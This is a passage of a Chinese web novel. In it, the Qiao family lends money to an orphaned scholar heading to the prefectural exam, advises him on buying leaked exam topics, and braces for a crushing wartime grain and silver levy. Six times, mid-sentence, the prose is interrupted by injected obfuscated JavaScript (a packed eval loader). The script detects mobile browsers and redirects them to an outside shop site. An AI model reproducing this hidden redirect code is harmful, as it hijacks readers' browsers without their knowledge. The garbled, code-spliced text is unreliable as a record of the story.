若有大局变化,不至于一点希望都没有。 万一,有人快马加鞭送信给她,帮她杜绝了一些危险呢。 男子又道:“当时我就跟在两位公子的身边,只不过乔姑娘没有注意到我罢了。” “这位叔叔,怎么称呼。” “我姓方。” “方叔叔好,两位公子早就回到家了吧。” “是啊,早回去了,不过当时大公子把我留了下来,又让我培养了些到连州来回的鸽子,好方便写信收信。” 方泓把一个信筒交给乔镰儿:“这是大公子亲笔写来的。” 这个信筒是用竹子做成的,上面刻了一些雕花,很是精致,为了保密性,盖子上封了泥,没有打开的痕迹。 乔镰儿先把信筒收起来。 “方叔叔送信一趟累了,进屋子里喝口茶吧。” “不了,我还有事情,就不打扰乔姑娘了,信已经送到,这就告辞。” 方泓拱手,翻身上马,调转马头,策动缰绳而去。 乔镰儿知道他们这些听命于人的,一般是不会留下做客的,便道:“那方叔叔一路走好。” 方泓经过上面的路段,马匹的速度放缓了下来,往下眺望,浑黄的河水开始变得清澈,那一座大桥岿然不动,田里的稻谷也是金黄一片。 看来今年这里的防洪抗灾效果不错。 又看到有一条分流道挖出去,河底似乎向下挖了新床。 方泓点点头。 这些都可以作为经验借鉴吸收。 其实,他留在县城,不仅仅是为了收信,也是要看一看这座大桥的效果。 毕竟,公子已经把桥梁的设计摹了下来,就等着用到其他地方去,自然是不能出半点差错的。 现在,可以回去给公子一个交代了。 乔镰儿把信打开,信上写着:北方干旱,广大农田颗粒无收,二十个部落趁机联盟,渐逼而下,来势汹汹,朝廷亏空力有不逮,特征银粮作战。七月二十,成立巡粮司,下派人员到南部督促各地官府统计农田收成,以及各行各铺利润情况,做好详细统计。八月二十,巡粮司衙署下派人员出发各地,配合当地官府、驻军征收银粮。初定征收标准按十税五,无论人头,经营年数,都遵循此比例。 在末尾添了一句:天下不太平,望乔姑娘安好,希望气象清平之日,再与乔姑娘把酒言欢。 乔镰儿盯着这封信,看了半天。 心中情绪起伏,久久不曾平静。 十税五,苛捐杂税,也莫过于此,而且不仅仅是交粮,还要交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615491|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱。 也就是两斤粮食拿出一斤,一两银子拿出半两,这几乎把商人和农户的老底都掏空了。 剩下的,只能够勉强糊口,吊着门面,维持铺子的存在。 往年的税收十五税一,商税也缴得不算重,可是北方一乱,立刻用上了重典。 乔镰儿想到,二十个部落联盟,必定是浩浩大军,而且北方部落兵强马壮,想要打胜仗,必须保证大泽国的士兵每一顿都填饱肚子,还要有荤菜养力气。 这么重的税,大泽国是想速战速决。 今年,老百姓的日子要难过了。 乔镰儿看着在农田里秋收的村里人,大家脸上挂着汗,可是却洋溢着幸福的笑容。 今年庄稼收成好,没有受灾,除了留足口粮,还能拿去换银子。 可是谁又会想到,不仅粮食要被征走,银子也要被收走。 她空间里想种多少粮食就有多少,不怕没有米粮吃,可是大田村的这些村民呢? 乔家穷困的这些年,不少村里人伸出过援手,乔镰儿实在不想看到,他们陷入困境的局面。 她轻轻叹了一口气,天数命劫,她无法左右,只希望大泽国快点打赢这场仗吧。 去山上没多久,两姐妹带来的背篓和箩筐都满了。 乔吱吱对这样的现象已经见怪不怪了,她虽然年纪小,但是也跟乔家人一样,多少猜到了一点什么。 这一次,她甚至主动避开了。 如果是外人,身上有这种无法解释的东西,她会吓个半死,但镰儿妹妹是家里人,是带给大家好生活的人。 所以,她除了惊奇之外,就是感激。 这章没有结束,请点击下一页 继续阅读! 第213章 跟乔家借钱赶考 牧星河看到乔溪儿有摸大砍刀的意图,顿时心头一紧,往后退了半步。 见她的手收了,他才松了一口气。 乔家人当真是,一个个的虎得很。 乔溪儿看着是最文静的,都要配一把大砍刀。 乔溪儿想想,两家关系还可以,牧家和沈家宋家也没有什么来往,她起身走了出来。 “星河大哥,你有什么事吗?” 家里只有她一个女儿家,她就不请人进去坐了。 “我——”牧星河脸上有些不自然,又有些窘迫。 “你说吧,都是一个村里的,不用拘谨。” “溪儿妹妹,我是想。”牧星河叹了一口气,又往院子里看了看。 “你家里还有其他人在吗?” “都在下面的农田里,有的到山上去了,你跟我说也是一样的,需要告诉我爷奶,等他们回来我再转告他们。” 乔溪儿看牧星河这个样子,知道他是遇到难题了。 “成吧,我跟你说。”牧星河将心一横,成不成,他先说出来,要是他闷在心里,何时才会有个解决? “我想跟你们乔家借钱。” 乔溪儿有些诧异:“啊?” 牧星河低下了眉眼:“很抱歉,为了这种事情来打搅你们家,我是实在走投无路,才来找你们。” “前些天我娘死了,为了给我娘办葬礼,把积蓄全花光了,而我又要去参加院试,路途迢迢,距离这里几百里,住宿吃用路费,一应开销都不少,手上的银子不够,家中亲戚无钱借我,只能来叨扰一下同村。” 牧星河说着,双眼有些发红。 家中辛辛苦苦积攒银两,就是为了给他参加考试用,谁知道娘亲突发疾病而死。 他小时候就没了爹,现在又失去了娘,这种事情他都不愿意去多想,不然根本承受不住。 “日期越来越近,明天再不出发,就要错过考试,这三年来的准备都要浪费。” 乔溪儿想起来,牧星河早就过了县试和府试,是童生的身份,只是他们牧家比较低调,跟村里人提过一嘴,就再也没有说过这件事,有的人还因此嘲笑他们家是在为了脸面撒谎。 看这样子,是真的要去参加院试,过了院试,就是秀才,可以名扬十里八村了。 这十年来,大田村还从来没有出过秀才呢。 人才谁都珍惜,谁都不想看着人才凋零,乔溪儿道:“你就说吧,要多少钱?” “只怕,只怕需要五两。” “毕竟时间紧急,耽搁不得,要是能借到,我现在就出发。” “你等一等。”乔溪儿跑进了自己的房间。 她把一个小盒子从床底抱出来,打开,里面有碎银子,还有铜板。 家里开始来钱后,乔老太会时不时给她们这些孙辈发一些零用钱,她做手活的钱也不用交到公中了,而是留着自己用。 冯氏当年的陪嫁,三两银子,也在她这里。 这些年来这样穷困,冯氏要拿出三两银子接济家用,乔老太坚决不同意,说要给孙女作陪嫁。 家里再穷,要是嫁出女儿没有一点陪嫁,岂不是让人笑话? 等到这个家起来了,不可能会用到这三两了,冯氏就把三两交给她。 所以一样一点加起来,她这里有五两三百文,刚好够牧星河借。 乔溪儿把三百文留下,捧着盒子出来。 “就不用麻烦我爷奶了,我刚好有五两, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615492|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候你还给我就是。” 牧星河看到盒子里的银两足数,脸上重重的忧虑消失了,取而代之的,是一脸的感激。 “谢谢你,溪儿妹妹,等到时候,我会连本带利地还给你。” “现在不要忙着想还钱的事情,过了院试,还有乡试,还有会试,等你高中,再还我钱吧。”乔溪儿说。 牧星河看着那张善良的脸,想到借遍了亲戚无人肯借,二伯甚至不相信他已经过了童试,以为他要骗钱,说话很难听,可是乔家无亲无故,却肯把钱借给他。 一时间百感交集,他差点忍不住大哭一场。 又想到了乔溪儿的遭遇,沈良真是瞎了眼睛,不会珍惜好姑娘。 他相信,乔溪儿这样的姑娘,一定会遇到一个好男人来疼她。 不过这些话牧星河没有说,只是放在心里面祝福。 乔镰儿她们回来的时候,正好看到牧星河从这里离开。 而牧星河在这里逗留挺久,她们前面就看到了。 “溪儿姐,牧星河到这里来做啥。”乔吱吱问。 “要去参加院试,盘缠不够,来找我们家借钱,刚好我这里有,就借给他了。”乔溪儿说。 “牧星河没有了双亲,还要求学,这条路实在是艰辛。” 乔镰儿想,牧星河的爹排行老五,上面有四个伯父,都不肯借钱吗?他们或许是以为,牧星河现在一个孤儿,以后拿什么还给他们。 而且牧星河虽然过了童试,但是童试比较简单,大田村就有好几个过了童试,什么年龄段都有,但却迟迟考不中秀才,所以,他们是很难对牧星河抱着什么期待的。 本小章还未完,请点击下一 页继续阅读后面精彩内容! 第214章 这,这不是作弊吗? “不安分的东西。”乔老太骂道。 乔家是从河边往上头收割,所以沈家赔的田要留到后面一点。 也是因为,刚开始种稻谷的时候,沈家的进度慢了几天,往后一点,稻子是会更加成熟一点。 乔老太和乔老头立刻返回院子,然后拿着家伙下来,大砍刀,棍子,绳子,叉子,应有尽有。 “皮痒了,狗改不了吃屎,看我不打得他们满地打滚。” “以为家里就剩些女人好欺负,让他们看看咱们乔家女人的战斗力。” 原本沈家已经认命了,可是看到乔家男人都出发了,不由得蠢蠢欲动。 乔家男人他们打不过,女人总打得过吧,所以就放肆了起来。 “对,老婆子,打滚不算,还要找牙,还要尿裤子屁滚尿流。”乔老头也是斗志满满,甚至有点不服气。 谁说家里没有男人了,他不是男人吗?沈家这是当他不存在? 乔云妮她们一开始防着沈家人,时不时往上头看一眼,沈家人干着自家的活,并没有什么异常的举动。 哪里想到,她们放松了警惕,沈家人就偷偷摸摸地来了。 等到沈家人手里的镰刀飞快地割稻子的时候,她们一下子惊觉起来。 “做啥,你们沈家在做啥?那是我们乔家的田,滚出去。” 乔家的女人都冲了上去。 乔老太他们也冲了下来。 一前一后,两面夹击。 乔镰儿和乔吱吱放下桶,给大家扔武器。 大砍刀,叉子,棍子,每个人都接得稳稳当当的。 大家挥舞着武器,杀气腾腾,甚至空气都因此流动。 仿佛一头头发狠的野兽,下山撕人来了。 沈家女人吓得赶紧跑了,男人还想反抗一下,被抽了几鞭子,被棍子打中了腿,叫着跳着跑了出去,慌忙求饶说不敢了。 他们可不想像宋家人一样躺在床上七八天十天都下不来。 乔家人这才罢休。 “你们害了我们家沈良,还想要这些稻子,也太贪得无厌了吧。”柳氏叉着腰,愤愤道。 乔老太:“谁害你家沈良了,难道不是他自作自受?再说沈良不是没有死吗?他还留着一条命,已经是老天照顾他了,还不谢恩。” “劝你们积德积福,多从自己身上找原因,免得一错再错,哪一天倒更大的霉。” 双方对骂了一会儿,言辞激烈,口水唾沫在阳光下飞舞,见乔家人又要拿着武器上来,沈家人怕了,闭了嘴,乖乖地忙田里的事情了。 乔家人大获全胜。 “咱们先把这三亩地里的收了,落袋为安最好。”乔老太说。 大家一致同意。 乔镰儿从桶里面拿出菠萝,每人分到一大块。 “这是啥?”乔云妮问道。 “娘,这叫做菠萝,又甜又解渴。” 大家咬了一口,都点头说好吃,身上的暑热消散了大半,嘴里都是清甜的香。 没有见过,也不用问从哪里来的了,只知道家有镰儿,能够享受到别人享受不到的东西。 解了渴,大家接着干活。 一个人背着书箱从下面走上来。 牧星河的家在村子的最南,几乎快要靠近河边,所以他出村,会往这边过来。 “乔爷爷,乔奶奶,你们家今年的稻谷长得真好,恭喜你们丰收。”牧星河很有礼貌地说。 盘缠够了,少年的脸上一片轻松,他可以心无旁骛地去赶考了。 乔老头听得很开心,好好大笑了起来:“这孩子嘴真甜,星河啊,你过来。” 牧星河不知道乔老头叫他有什么事,还是走进了田里。 乔老头从桶里拿出一块菠萝:“这东西解渴,你拿着吃吧。” 牧星河道了一声谢,就接过来,咬了一口眉目舒展,忙不迭点头:“是很好吃,不过没有见过。” “是我家镰儿丫头山里找来的,叫做菠萝。” 乔老头又看了看牧星河的书箱:“好像你过了童试。” “是呢乔爷爷,我这就是去参加院试。” “啊呀,那距离考试只有几天了,你可得赶着行程。” “嗯嗯,赶得及的。” “那个星河啊,到了州府,找一个离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615493|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考试地点近一点的客栈住下,多去考场几次熟悉一下,和其他的学子以礼相待,如果有人来招惹你,尽量心平气和,不要起冲突,以考试为重。” “现在你这一房只剩下你和你妹妹,你得有出息,以后你们兄妹俩才能过上好日子,你别怪乔爷爷说话难听,没有了双亲,你就只有这条路,不然,不说你能不能娶到好姑娘,你妹妹是嫁不到好人家去的。” 星河听得双眼微红,牧家亲戚不照顾,他这一趟赶考,把妹妹安置在了外婆家,又给了她二百文钱,这才放心出门。 “乔爷爷是为了我好,我知道,这不是我的苦难,而是我的动力。”牧星河眼里浮起了几分决绝。 “这一次考不上,那就下一次,直到考上为止。” 乔老头看他如此受教,点头:“村里头几个童生,年纪小一点的,我看着你最稳重, 也最懂礼貌,所以便多与你说两句。” “对啦星河,盘缠够不够,手头可松泛?” 不是乔老头乱发善心,看到这样家世可怜的孩子,又认真好学,谁都会起怜悯之心,而且以现在乔家的家境,帮助一个学子并不是什么难事。 “够,够了,还没有与乔爷爷说,我刚才去你们家找你们借钱,正好溪儿妹妹在家,把她的五两银子借给了我。” 牧星河说着,有点不好意思。 “五两怎么够,少不得需要打点的。”乔老头一听摇头。 “够了乔爷爷,我好好算过了,五两是完全没问题的。” “哎呀你这孩子不懂,老头子我虽然没有参加过科考,但活一把年纪了,有些道道还是知道的。” 乔老头压低了声音:“科考是严格,但其中却有讲究,比如有的位置通风,有的不通风,待在里面时间久了就会头晕目眩。” “还有,会有人出售大致的出题范围,还会押几道题,其中有一题会出现在试卷上,大差不差,这是从考官那里得到的消息,打点一下,就能拿到,然后集中精力去准备,考中的希望就大了许多。” 牧星河睁大了眼睛,他没有想到,科举背后,竟然这样复杂。 “这,这不是作弊吗?” 第215章 乔老头的真实目的 乔老头想了一下,他也不知道该怎么说。 “镰儿,你过来说,这算是作弊吗?” 乔镰儿正在观察那些稻穗子,也在听着乔老头和牧星河的对话。 “不算是作弊,算是一个取巧吧。”她说:“就算是知道了出题范围,知道了几中选一的题目,那也仅仅是范围和题目而已,需要靠自己这些年的所学所得去分析去答题,资质愚钝的,就算知道了,也不会答得有多好。” 她了解过这里的科考,十分之三是死记硬背的内容,十分之七是主观发挥的内容,死记硬背的内容其实去赶考的人都能背,最关键的在那十分之七。 少有人会拿那十分之三来卖,卖了对别人的影响也没多大。 关键是,如果能知道一些主观分析的题目范围,那就可以着手做较为精确的准备。 牧星河没有说话,他还是觉得这样不太好。 “星河大哥,这个世上不是非黑即白,有许多灰色的地带,你跟别人讲公平,别人不会跟你讲,况且这个完全是用你自己的实力来应战。” 乔镰儿说:“如果别人做了,你不这样做,你考赢那些差生固然没问题,但是比你稍微差一点的,他们拿到出题范围,找厉害的学子,甚至请先生去给他们讲题做题,等到考试,岂不是要越过你去。” 这样说着,牧星河的脸上警惕了起来,又多了几分不安。 他哪里想到呢,科举考试,原来不是完全的比拼实力,还有这许多的小动作。 他感到他一颗秉持正义的心,产生了裂痕。 乔镰儿见他这样子,觉得有点难以说明白。 倒也不是她想多管闲事,而是爷爷都说到这一步了。 以前因为家里穷,没有余银送孙子们去念书,一个个错过了开蒙的年纪,成了乔老头心中的一个遗憾。 所以看到牧星河这个老实认真的,再加上牧星河的爹在他小时候就死了,前些天娘亲也刚刚过世。 乔老头忍不住动了恻隐之心。 “你自己考虑好吧,这是你自己的前程,世道就是这个样子,你来跟我们要公平,我们也给不了啊。” “也不算啥偷鸡摸狗的,不过是一个技巧而已,考场上还得靠你自己,咋滴,我们乔家人是逼你去做小人了,你就当这些话没有听见也好。” 乔镰儿想笑,世间哪有绝对的公道啊,这人世是按照某种规则去运行的,暗合规则的人才能过得好,反抗规则的人生零落,磕磕碰碰,甚至死都不知道是怎么死的。 见乔镰儿的态度生硬了起来,牧星河赶紧说道:“我,哎呀镰儿妹妹,我不是这个意思,你们都是为了我好,我是黑了心肝才要怪你们,我只是突然知道这些,有点——” 乔镰儿放软了语气:“在这个世上,要做一个聪明的人,聪明的含义可多了,不光光是指脑子的聪明,还是指处世的聪明,比如在你实力还不够,话语权不大的时候,面对这样有点上不得台面的事情时该怎么做,如何在不得罪别人,不损害别人利益的前提下,维护住自己的利益,让自己过得更好。” 牧星河陷入了思考。 “若是以后你中举做了官,也是这个道理,看到官场一些不公现象,得学会在其中周游斡旋,保证自己全身而退,而不是鲁莽地为了维护公正去指责,去到处得罪人,这样一生才能走得长远。” 牧星河不由得看向那双眼睛,黑亮聪睿,仿佛洞察了人间的一切,才十二岁的小女儿,体内就像装着一个大人的灵魂。 他的心中一阵触动。 不得不承认,乔镰儿的话没有错,字字句句,都在把人生用得上的道理剖给他听,只希望他以后能过好。 “好,我都记住了,谢谢镰儿,谢谢乔爷爷。” “我这就上州府,该做的事情我会去做,不该做的我不做。” 说说就要准备离开。 “所以,你身上带的五两银子哪里够呀。”乔老头话又说回来了。 “那我就少吃一点,住差一点远一点的客栈,起早一点,大不了睡大街,每顿啃馒头,总会省出钱来打点。”牧星河已经想好了主意。 “哎呀,不行,你肚子都吃不饱,营养都跟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615494|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,哪里能全力以赴地跟人去比拼呀,还有,别人睡觉的时间比你长,精力也比你更充足,你忙着赶路的时间,别人在睡觉,在学习,人家整个就是一个放松的状态,你是紧绷着的。” 牧星河一听又低下了头,身上散发出消沉无奈的气息。 “可是我,我还能怎么办。” 几个伯伯不看好他,不借钱给他,他前面又跟乔家借了五两,怎么能够再开口? 乔老头解下了腰间的布袋子,摸出二两来:“来来来,大家给星河把钱凑上,再凑个五两。” 乔家人放下手里的活儿过来了,一个人的身上都带了一点钱,解袋子摸袖口寻衣襟的,还真的凑起来五两。 牧星河的双眼湿润了,泪水再也忍不住,掩面而泣。 “星河侄子,心里别有负担,好好地放手去考,我们乔家相信你能考中,咱们村里十年没有出过秀才了,希望就在你的身上了。”冯氏笑道。 “我们也不是无缘无故帮你,这些年来乔家不容易,你娘还活着的时候,时不时就送来鸡蛋腌菜,说我们家里人口多,你们家就只有母子三个,吃不了太多。”乔老太一脸的慈祥:“都知道是你娘的托词呢,你读书要用钱,那些东西卖了不是更好,却拿来送给我们乔家。” “有来有往,你娘做人这样厚道,你现在需要帮助,我们也不能当做看不见呀。” 是的,牧星河之所以来找乔家,也是因为他娘多次帮过乔家,他觉得或许乔家会念在过去娘亲的一点好上,给他帮助。 他赌对了。 只是乔家人这样的温暖,太让他感动。 他也知道,这样的盛情难得,他必须在这一次考中,不然以后盘缠,路费吃住试卷费各种又是一大笔,他还要去麻烦谁? 牧星河对每一个乔家人鞠了躬,接过银两,擦干眼泪走了。 “老头子,你咋发这样的善心,咱们都借出去五两了,还要给这么多。”乔老太有点奇怪。 乔老头神秘兮兮歪过来:“老婆子,你是不明白我的良苦用心啊。” “啥?” 第216章 这是在相孙女婿呢 乔老太怎么觉得,乔老头像是不安好心的样子。 “你觉得牧星河和咱们家溪儿配不配。” “啊?”乔老太这一下子明白过来,难怪她说乔老头为什么对牧星河这样热情呢,热情得都超过乔家人的限度了。 原来,乔老头在相孙女婿呢。 乔镰儿也听到了,歪着头,把耳朵偏过来。 噗,爷爷真是个大聪明,这和榜下捉婿有什么区别? 虽然现在,牧星河还是个童生,但这孩子踏实勤奋,说不定真的考中了呢。 “不过,他们两个不一定看得上眼吧。”乔老太说。 “这个不得看咱们长辈,撮合撮合。”乔老头反而有信心:“现在咱们家给出这么大的恩情,就算是为了报这个恩,星河也得娶咱们家的溪儿。” 乔老太白了他一眼:“光是为了这个不行,这可是关乎溪儿一辈子的幸福,要他们相互中意,这门亲事才算结得圆满。” “要不然等着孩子考中了,拿着这份恩情要人家报答,反而显得咱们家势利眼似的。” “老婆子你说的没错,咱们家溪儿的心意最要紧,就算不成,星河也会还了借咱们家的钱,也是相互不亏欠。” 乔老头又叹:“老婆子,我这心里总压着一口气出不来,咱们家溪儿被沈家放了鸽子,用来做托底,简直是践踏人,我总想着让溪儿找到更好的,如果星河争气,他们又有缘分,那岂不是皆大欢喜。” 乔老太沉默了一下:“往后再看吧,事在人为,也在天意啊。” 牧星河背着书箱,从乔家门前经过。 乔溪儿还是坐在那棵桂花树下,正在垂眼绣着帕子。 金黄的小花一簇簇攒聚积压在枝头,花香浓郁,飘散到院外。 轻风一吹,便往下飘落几朵,有几朵掉落在乔溪儿的发梢上,显得静谧恬美,仿佛整个人都在发光。 她的手指很纤细,又带着常年干活留下的老茧,一针一线,认真专注。 牧星河本来想打声招呼,说自己去赶考了,可实在不准破坏这样美好的画面。 他驻足看了些时候,悄无声息地走了。 过两天,乔镰儿发现村子里来了些人,他们行走在田野阡陌之间,观察着那些丰收的庄稼,虽然没有身着制服,看不出身份,但几乎可以肯定,是那些人来了。 他们没有一家家统计,因为觉得麻烦,但会根据收成,估算一个总量出来,他们带来了纸和笔,把该记下的记下。 到时候,要是收上来的比例对不上,那就让村民相互监督举报,哪家收了多少粮食,村民心中都是有数的。 村民们没有什么防备,甚至看这些人被晒得口干舌燥,从家里舀了凉水给他们喝。 他们来到了乔家附近,看看盖这么大的院子,地上堆了那么多好木料和上乘砖瓦,脸上出现了一种惋惜甚至是不甘的神情。 这家人有钱啊。 这里征收银粮,最晚要到九月份以后了。 可是看这家人请了这么多施工队,盖房子的进程这样快,怕是一个月之内,就把这个大院子盖起来了。 要是他们家盖晚一点,这些盖房子的钱,大半都要落到他们手里。 可惜了,实在可惜了,只能说这家人运气好。 “还是第一次见有人盖房子进度这样快,万一地基打不稳,也稳固不了多少年,小丫头,你们家悠着点来呗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615495|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这些人装作口渴寻水喝,进了乔家院子,等喝了水,对乔镰儿说。 他们是想着,到时候还剩点料子,就让退回去换成银两。 乔镰儿摇头:“大叔,你看我们家住的这屋子,这里裂缝,那里漏风的,屋上的茅草补了不知道多少次,家里还有这么多口子人,哥哥们还要娶媳妇,实在是快要住不下去了。” “能盖得起这么大的院子,看来你们家赚了不少钱,很有本事呢。” 乔镰儿叹了一口气:“此一时彼一时罢了,前面是赚到了些钱,刚好能盖一个大一点的院子,现在手头没有营生,日子就这样过着呗,好在以后有一个遮风挡雨的地方,有家在,拮据一点也没关系。” “大叔,我们这些老百姓日子不好过啊。” 这个看起来像是领头的,年近四十左右,留着络腮胡子,一脸的精干,他披着一件轻薄的披风,可是如果观察得仔细了,会发现他的披风下,藏着一把短刀。 他沉默了一下,因为他也是农民出身,可普天之下莫非王土,率土之滨莫非王臣,有的事情得照做吩咐来,不得不做,最多是手轻一点,手重一点的区别罢了。 乔镰儿洗了几盘子草莓,装了切菠萝端到这些人的面前:“大叔,看你们忙着赶路,也是辛苦,这是我从山上找的野果子,你们尝尝看。” 既然这些人到她的面前来了,她也得为大田村尽一份力。 这些人尝了一下,眼里都闪烁了一下,真是好吃得不得了。 “山上找的这么好吃,从来没有人发现过?怎么我从来没有见过这种果子。”那个当头的大叔问。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第217章 奶,最近有破财之灾 “曲监头,这家人盖房子,怕不是在有意赶进度,一般人家盖房子都是叫一个施工队,他们这是叫了几个施工队吧。” 曲监头眉头皱着,好像在沉思着什么,他绝对不是一个心慈手软的人,不会因为几个果子,就放过不该放过的人。 可是,他找不到任何理由。 巡粮司衙署交代,必须在规则之内办事,毕竟要征重税,要民间捐银,容易逼起百姓逆反心理,若有越界的地方,难免天怒人怨。 而且,这个小丫头,绝对没有知道消息的渠道来源。 像这种偏远地方的人,刀架脖子上了,都还不知道咋回事。 “记住征收的日期,记住现在什么事情才是我们该做的。”曲监头冷冷道。 那个人赶紧抱拳:“是。” 想想那些甜果子的滋味,他就不再多说了。 只能说这家人福气好。 确定这些人走了,乔镰儿才真正松了口气,她当然知道这些人的雷厉风行和冰冷,几个果子怎么可能打动得了人家? 说真的,有什么把柄,这些人该对付她还是得对付她。 不过是希望在看不出什么问题的情况下,这些人不要生出找茬挑刺的心思罢了。 她盖这个院子,谁都知道在赶进度,这些人也看得出来。 但是赶进度没有错。 “镰儿哟,你拿这些好东西招待这些陌生人做啥,真是可惜了。”乔老太心疼地说。 “看看他们,把这些好果子当做饭吃,半个箩筐都吃干净了。” “他们口渴,给他们喝一口水不就得了?” 乔老太实在是不明白,她也清楚镰儿绝对不是无缘无故发善心的人。 这些人认都不认识,没有必要这样做。 “奶,一个善举,或许会对以后起到帮助。”乔镰儿现在不能告诉乔老太太多。 乔老太想起这段时间,镰儿不像以前那样,天天去县城,虽然现在人手忙不过来,暂时不用摆摊,但是可以提供食材给那些酒楼,也能赚不少银子。 但她改成了三五天去一次,好像只给蔡老板的酒楼供货。 盖房子又要盖这么快。 还有,家里的男人要去走镖,也交代不让家里人告诉村里人,只说去做苦力。 处处都透着不合理。 这让乔老太觉得,是不是要发生一点什么一样。 乔老太就把乔镰儿拉到了堂屋里。 “镰儿,你告诉奶,是不是要出啥事了。” 乔镰儿看乔老太一脸的警觉,知道什么也不说,老太太难免猜来猜去的。 道:“奶,我找人算过了,最近会有破财之灾。” 乔老太一下子变得很紧张:“啥,破财?” 乔镰儿认真点头:“算命的说了,有人盯上了咱们家的财产,以后不可以在这方面过于显露,赚钱也要偷偷的赚,低调着赚,等过了这段时间再说。” “所以,我就想把房子快点盖起来,把钱都花进去,生米煮成熟饭,还有大伯父他们去走镖,走成了一下子得那么多银子,被人知道了惦记上了咋办,干脆说他们去做苦力,做苦力又没几个钱。” “算命的人说的话,可不可信哟,万一是故弄玄虚。”乔老太有点难以接受。 “有的算命先生是有真功夫的,可不像邻村的周神婆装神弄鬼,那一位算命先生,我已经多方打听过了,他算的事情没有一件不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615496|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “阿弥陀佛,阿弥陀佛,家里千万不要破财呀,那咱们还是小心为上吧。”乔老太拍着心口。 “难怪镰儿你最近这样谨慎,这样紧迫,唉,我这个老婆子啥都不懂,听镰儿的,都听镰儿的,还希望咱们乔家好好度过这一次劫呀。” 说着,又赶紧去神龛前拜祖宗了。 乔镰儿也不是在骗乔老婆子,等那些人到来了,征粮纳银的,可不就是破财吗? 又过了两天,家里十三亩地的庄稼全部都收好了,差不多有个三千斤,晾晒在屋前屋后,一地金灿灿的。 乔老太用竹耙子翻着稻谷,很是宝贝,晒稻谷用的是油布,有一粒稻谷从油布上掉下去了,都要小心地捡起来。 晒稻谷小麦的时候,鸡鸭都要关好,免得粮食遭殃。 看到一只鸡从鸡舍里跑出来了,就要扑向这些稻谷,乔老太赶紧放下竹耙子,腿脚利落地跑过去,一把把鸡抓住,又塞到鸡舍里。 见乔老太这样爱惜,乔镰儿有点心酸的感觉,毕竟这些粮食,老百姓视作命根的东西,有一半留不住。 空间里,她种下的玉针香已经可以收获了,卖掉了大部分换成金币,留了两百斤,又换了一批新的种上。 仓库里有碾米机器,乔镰儿碾了二十斤,再经过一道抛光。 “奶,咱们家今晚煮这种大米吃。”乔镰儿说。 乔老太就看到一个箩筐里,装了大约二十斤的米,她的眼睛一下子亮了,有点不敢相信。 这种大米呈现长粒形,盈白饱满,没有一点杂质,在阳光下闪闪发光,捧起来闻,一阵阵香气就往鼻子里钻。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第218章 